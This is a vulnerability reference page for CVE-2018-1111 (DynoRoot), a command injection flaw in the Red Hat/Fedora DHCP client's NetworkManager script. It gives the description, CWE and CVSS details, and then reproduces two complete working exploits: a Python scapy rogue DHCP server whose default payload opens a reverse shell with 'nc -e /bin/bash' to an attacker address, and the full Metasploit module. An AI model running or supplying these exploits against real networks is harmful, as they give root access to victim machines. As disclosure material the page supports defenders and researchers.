CVE-2018-1111 Detail

CVE-2018-1111

Score / Severity

7.5

High

CVE Descriptions

DHCP packages in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier are vulnerable to a command injection flaw in the NetworkManager integration script included in the DHCP client. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-77	Improper Neutralization of Special Elements used in a Command ('Command Injection') The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	7.5	HIGH	CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Adjacent A vulnerability exploitable with adjacent network access means the vulnerable component is bound to the network stack, however the attack is limited to the same shared physical (e.g. Bluetooth, IEEE 802.11), or logical (e.g. local IP subnet) network, and cannot be performed across an OSI layer 3 boundary (e.g. a router). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. High A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
V2	7.9		AV:A/AC:M/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 44652

Publication date : 2018-05-17 22h00 +00:00
Author : Kevin Kirsche
EDB Verified : Yes

# Exploit Title: DynoRoot DHCP - Client Command Injection # Date: 2018-05-18 # Exploit Author: Kevin Kirsche # Exploit Repository: https://github.com/kkirsche/CVE-2018-1111 # Exploit Discoverer: Felix Wilhelm # Vendor Homepage: https://www.redhat.com/ # Version: RHEL 6.x / 7.x and CentOS 6.x/7.x # Tested on: CentOS Linux release 7.4.1708 (Core) / NetworkManager 1.8.0-11.el7_4 # CVE : CVE-2018-1111 #!/usr/bin/env python from argparse import ArgumentParser from scapy.all import BOOTP_am, DHCP from scapy.base_classes import Net class DynoRoot(BOOTP_am): function_name = "dhcpd" def make_reply(self, req): resp = BOOTP_am.make_reply(self, req) if DHCP in req: dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1])) for op in req[DHCP].options if isinstance(op, tuple) and op[0] == "message-type"] dhcp_options += [("server_id", self.gw), ("domain", self.domain), ("router", self.gw), ("name_server", self.gw), ("broadcast_address", self.broadcast), ("subnet_mask", self.netmask), ("renewal_time", self.renewal_time), ("lease_time", self.lease_time), (252, "x'&{payload} #".format(payload=self.payload)), "end" ] resp /= DHCP(options=dhcp_options) return resp if __name__ == '__main__': parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit') parser.add_argument('-i', '--interface', default='eth0', type=str, dest='interface', help='The interface to listen for DHCP requests on (default: eth0)') parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str, dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)') parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str, dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)') parser.add_argument('-d', '--domain', default='victim.net', type=str, dest='domain', help='Domain to assign (default: victim.net)') parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str, dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)') args = parser.parse_args() server = DynoRoot(iface=args.interface, domain=args.domain, pool=Net(args.subnet), network=args.subnet, gw=args.gateway, renewal_time=600, lease_time=3600) server.payload = args.payload server()

Exploit Database EDB-ID : 44890

Publication date : 2018-06-12 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DHCPServer def initialize(info = {}) super(update_info(info, 'Name' => 'DHCP Client Command Injection (DynoRoot)', 'Description' => %q{ This module exploits the DynoRoot vulnerability, a flaw in how the NetworkManager integration script included in the DHCP client in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier processes DHCP options. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol. }, 'Author' => [ 'Felix Wilhelm', # Vulnerability discovery 'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'References' => [ ['AKA', 'DynoRoot'], ['CVE', '2018-1111'], ['EDB': '44652'], ['URL', 'https://github.com/kkirsche/CVE-2018-1111'], ['URL', 'https://twitter.com/_fel1x/status/996388421273882626?lang=en'], ['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'], ['URL', 'https://dynoroot.ninja/'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'], ['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111'] ], 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 15 2018' )) deregister_options('DOMAINNAME', 'HOSTNAME', 'URL', 'FILENAME') end def exploit hash = datastore.copy start_service(hash) @dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #") begin while @dhcp.thread.alive? sleep 2 end ensure stop_service end end end